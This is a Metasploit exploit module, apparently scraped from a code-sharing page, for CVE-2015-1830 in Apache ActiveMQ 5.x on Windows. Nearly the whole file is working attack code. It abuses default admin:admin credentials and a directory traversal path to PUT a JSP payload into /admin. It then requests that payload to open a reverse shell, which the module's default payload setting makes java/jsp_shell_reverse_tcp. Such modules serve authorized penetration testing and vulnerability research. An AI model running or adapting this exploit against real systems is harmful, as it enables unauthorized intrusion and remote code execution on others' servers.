Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload',
16
        'Description' => %q{
17
          This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache
18
          ActiveMQ 5.x before 5.11.2 for Windows.
19

20
          The module tries to upload a JSP payload to the /admin directory via the traversal
21
          path /fileserver/..\admin\ using an HTTP PUT request with the default ActiveMQ
22
          credentials admin:admin (or other credentials provided by the user). It then issues
23
          an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the
24
          payload and obtain a shell.
25
        },
26
        'Author' => [
27
          'David Jorm', # Discovery and exploit
28
          'Erik Wynter' # @wyntererik - Metasploit
29
        ],
30
        'References' => [
31
          [ 'CVE', '2015-1830' ],
32
          [ 'EDB', '40857'],
33
          [ 'URL', 'https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt' ]
34
        ],
35
        'Privileged' => false,
36
        'Platform' => %w[win],
37
        'Targets' => [
38
          [
39
            'Windows Java',
40
            {
41
              'Arch' => ARCH_JAVA,
42
              'Platform' => 'win'
43
            }
44
          ],
45
        ],
46
        'DisclosureDate' => '2015-08-19',
47
        'License' => MSF_LICENSE,
48
        'DefaultOptions' => {
49
          'RPORT' => 8161,
50
          'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
51
        },
52
        'DefaultTarget' => 0,
53
        'Notes' => {
54
          'Stability' => [ CRASH_SAFE ],
55
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
56
          'Reliability' => [ REPEATABLE_SESSION ]
57
        }
58
      )
59
    )
60

61
    register_options([
62
      OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
63
      OptString.new('PATH', [true, 'Traversal path', '/fileserver/..\\admin\\']),
64
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
65
      OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin'])
66
    ])
67
  end
68

69
  def check
70
    print_status('Running check...')
71
    testfile = Rex::Text.rand_text_alpha(10)
72
    testcontent = Rex::Text.rand_text_alpha(10)
73

74
    send_request_cgi({
75
      'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),
76
      'headers' => {
77
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
78
      },
79
      'method' => 'PUT',
80
      'data' => "<% out.println(\"#{testcontent}\");%>"
81
    })
82

83
    res1 = send_request_cgi({
84
      'uri' => normalize_uri(target_uri.path, "admin/#{testfile}.jsp"),
85
      'headers' => {
86
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
87
      },
88
      'method' => 'GET'
89
    })
90

91
    if res1 && res1.body.include?(testcontent)
92
      send_request_cgi(
93
        {
94
          'uri' => normalize_uri(target_uri.path, "admin/#{testfile}.jsp"),
95
          'headers' => {
96
            'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
97
          },
98
          'method' => 'DELETE'
99
        },
100
        1
101
      )
102
      return Exploit::CheckCode::Vulnerable
103
    end
104

105
    Exploit::CheckCode::Safe
106
  end
107

108
  def exploit
109
    print_status('Uploading payload...')
110
    testfile = Rex::Text.rand_text_alpha(10)
111
    vprint_status("If upload succeeds, payload will be available at #{target_uri.path}admin/#{testfile}.jsp") # This information is provided to allow for manual execution of the payload in case the upload is successful but the GET request issued by the module fails.
112

113
    send_request_cgi({
114
      'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),
115
      'headers' => {
116
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
117
      },
118
      'method' => 'PUT',
119
      'data' => payload.encoded
120
    })
121

122
    print_status('Payload sent. Attempting to execute the payload.')
123
    res = send_request_cgi({
124
      'uri' => normalize_uri(target_uri.path, "admin/#{testfile}.jsp"),
125
      'headers' => {
126
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
127
      },
128
      'method' => 'GET'
129
    })
130
    if res && res.code == 200
131
      print_good('Payload executed!')
132
    else
133
      fail_with(Failure::PayloadFailed, 'Failed to execute the payload')
134
    end
135
  end
136
end
137

138